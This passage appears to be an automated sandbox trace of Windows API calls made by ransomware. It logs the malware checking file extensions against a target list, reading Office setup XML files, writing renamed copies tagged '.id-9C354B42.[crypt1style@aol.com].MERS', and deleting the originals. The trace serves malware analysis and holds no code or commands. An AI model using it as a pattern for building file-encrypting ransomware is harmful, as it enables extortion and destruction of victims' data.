(lpString=".rar") returned 4 [0043.140] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.140] lstrlenW (lpString=".bz2") returned 4 [0043.140] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.140] lstrlenW (lpString=".7z") returned 3 [0043.140] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0043.140] lstrlenW (lpString=".dbf") returned 4 [0043.140] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0043.140] lstrlenW (lpString=".1cd") returned 4 [0043.140] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0043.140] lstrlenW (lpString=".jpg") returned 4 [0043.140] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0043.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0043.140] lstrlenW (lpString=".doc") returned 4 [0043.140] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.140] lstrlenW (lpString=".docx") returned 5 [0043.140] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0043.141] lstrlenW (lpString=".pdf") returned 4 [0043.141] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.141] lstrlenW (lpString=".xls") returned 4 [0043.141] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.141] lstrlenW (lpString=".xlsx") returned 5 [0043.141] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0043.141] lstrlenW (lpString=".ppt") returned 4 [0043.141] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0043.141] lstrlenW (lpString=".zip") returned 4 [0043.141] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.141] lstrlenW (lpString=".rar") returned 4 [0043.141] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.141] lstrlenW (lpString=".bz2") returned 4 [0043.141] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.141] lstrlenW (lpString=".7z") returned 3 [0043.141] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0043.141] lstrlenW (lpString=".dbf") returned 4 [0043.141] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0043.141] lstrlenW (lpString=".1cd") returned 4 [0043.141] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0043.141] lstrlenW (lpString=".jpg") returned 4 [0043.141] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.141] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0043.141] lstrlenW (lpString="Office32MUI.XML") returned 15 [0043.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0043.445] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1383) returned 1 [0043.445] CloseHandle (hObject=0x1a8) returned 1 [0043.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0043.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0043.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0043.445] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.445] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0043.456] GetLastError () returned 0x0 [0043.456] ReadFile (in: hFile=0x1a8, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x567, lpOverlapped=0x0) returned 1 [0043.770] WriteFile (in: hFile=0x1ec, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x570, lpOverlapped=0x0) returned 1 [0043.771] ReadFile (in: hFile=0x1a8, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.771] WriteFile (in: hFile=0x1ec, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0043.771] SetEndOfFile (hFile=0x1ec) returned 1 [0043.771] CloseHandle (hObject=0x1ec) returned 1 [0043.772] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.772] SetEndOfFile (hFile=0x1a8) returned 1 [0043.772] CloseHandle (hObject=0x1a8) returned 1 [0043.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0043.773] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 1 [0043.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0043.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0043.773] lstrlenW (lpString=".doc") returned 4 [0043.773] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.773] lstrlenW (lpString=".docx") returned 5 [0043.773] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0043.773] lstrlenW (lpString=".pdf") returned 4 [0043.773] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.773] lstrlenW (lpString=".xls") returned 4 [0043.773] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.773] lstrlenW (lpString=".xlsx") returned 5 [0043.773] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0043.773] lstrlenW (lpString=".ppt") returned 4 [0043.773] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0043.773] lstrlenW (lpString=".zip") returned 4 [0043.773] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.773] lstrlenW (lpString=".rar") returned 4 [0043.773] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.773] lstrlenW (lpString=".bz2") returned 4 [0043.773] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.773] lstrlenW (lpString=".7z") returned 3 [0043.773] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0043.773] lstrlenW (lpString=".dbf") returned 4 [0043.773] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0043.774] lstrlenW (lpString=".1cd") returned 4 [0043.774] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0043.774] lstrlenW (lpString=".jpg") returned 4 [0043.774] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0043.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0043.774] lstrlenW (lpString=".doc") returned 4 [0043.774] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.774] lstrlenW (lpString=".docx") returned 5 [0043.774] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0043.774] lstrlenW (lpString=".pdf") returned 4 [0043.774] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.774] lstrlenW (lpString=".xls") returned 4 [0043.774] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.774] lstrlenW (lpString=".xlsx") returned 5 [0043.774] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0043.774] lstrlenW (lpString=".ppt") returned 4 [0043.774] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0043.774] lstrlenW (lpString=".zip") returned 4 [0043.774] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.774] lstrlenW (lpString=".rar") returned 4 [0043.774] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.774] lstrlenW (lpString=".bz2") returned 4 [0043.775] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.775] lstrlenW (lpString=".7z") returned 3 [0043.775] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0043.775] lstrlenW (lpString=".dbf") returned 4 [0043.775] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0043.775] lstrlenW (lpString=".1cd") returned 4 [0043.775] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0043.775] lstrlenW (lpString=".jpg") returned 4 [0043.775] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.775] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0043.775] lstrlenW (lpString="PrjProrWW.XML") returned 13 [0043.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0044.089] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=6421) returned 1 [0044.089] CloseHandle (hObject=0x1e8) returned 1 [0044.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0044.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0044.089] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.089] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0044.090] GetLastError () returned 0x0 [0044.090] ReadFile (in: hFile=0x1e8, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x1915, lpOverlapped=0x0) returned 1 [0044.241] WriteFile (in: hFile=0x17c, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0044.242] ReadFile (in: hFile=0x1e8, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.242] WriteFile (in: hFile=0x17c, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xee, lpOverlapped=0x0) returned 1 [0044.242] SetEndOfFile (hFile=0x17c) returned 1 [0044.254] CloseHandle (hObject=0x17c) returned 1 [0044.254] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.255] SetEndOfFile (hFile=0x1e8) returned 1 [0044.255] CloseHandle (hObject=0x1e8) returned 1 [0044.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0044.256] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 1 [0044.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.256] lstrlenW (lpString=".doc") returned 4 [0044.256] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.256] lstrlenW (lpString=".docx") returned 5 [0044.256] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0044.256] lstrlenW (lpString=".pdf") returned 4 [0044.256] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.256] lstrlenW (lpString=".xls") returned 4 [0044.256] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.257] lstrlenW (lpString=".xlsx") returned 5 [0044.257] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0044.257] lstrlenW (lpString=".ppt") returned 4 [0044.257] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.257] lstrlenW (lpString=".zip") returned 4 [0044.257] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.257] lstrlenW (lpString=".rar") returned 4 [0044.257] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.257] lstrlenW (lpString=".bz2") returned 4 [0044.257] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.257] lstrlenW (lpString=".7z") returned 3 [0044.257] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.257] lstrlenW (lpString=".dbf") returned 4 [0044.257] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.257] lstrlenW (lpString=".1cd") returned 4 [0044.257] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.258] lstrlenW (lpString=".jpg") returned 4 [0044.258] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.258] lstrlenW (lpString=".doc") returned 4 [0044.258] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.258] lstrlenW (lpString=".docx") returned 5 [0044.258] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0044.258] lstrlenW (lpString=".pdf") returned 4 [0044.258] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.258] lstrlenW (lpString=".xls") returned 4 [0044.258] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.258] lstrlenW (lpString=".xlsx") returned 5 [0044.258] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0044.258] lstrlenW (lpString=".ppt") returned 4 [0044.258] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.258] lstrlenW (lpString=".zip") returned 4 [0044.258] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.258] lstrlenW (lpString=".rar") returned 4 [0044.258] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.258] lstrlenW (lpString=".bz2") returned 4 [0044.258] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.258] lstrlenW (lpString=".7z") returned 3 [0044.258] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.258] lstrlenW (lpString=".dbf") returned 4 [0044.259] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.259] lstrlenW (lpString=".1cd") returned 4 [0044.259] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0044.259] lstrlenW (lpString=".jpg") returned 4 [0044.259] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.259] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0044.259] lstrlenW (lpString="Proofing.XML") returned 12 [0044.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0044.260] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=811) returned 1 [0044.260] CloseHandle (hObject=0x1e8) returned 1 [0044.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20 [0044.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0044.261] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.261] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0044.261] GetLastError () returned 0x0 [0044.261] ReadFile (in: hFile=0x1e8, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x32b, lpOverlapped=0x0) returned 1 [0044.324] WriteFile (in: hFile=0x17c, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x330, lpOverlapped=0x0) returned 1 [0044.325] ReadFile (in: hFile=0x1e8, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.325] WriteFile (in: hFile=0x17c, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.325] SetEndOfFile (hFile=0x17c) returned 1 [0044.325] CloseHandle (hObject=0x17c) returned 1 [0044.325] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.325] SetEndOfFile (hFile=0x1e8) returned 1 [0044.327] CloseHandle (hObject=0x1e8) returned 1 [0044.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0044.327] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 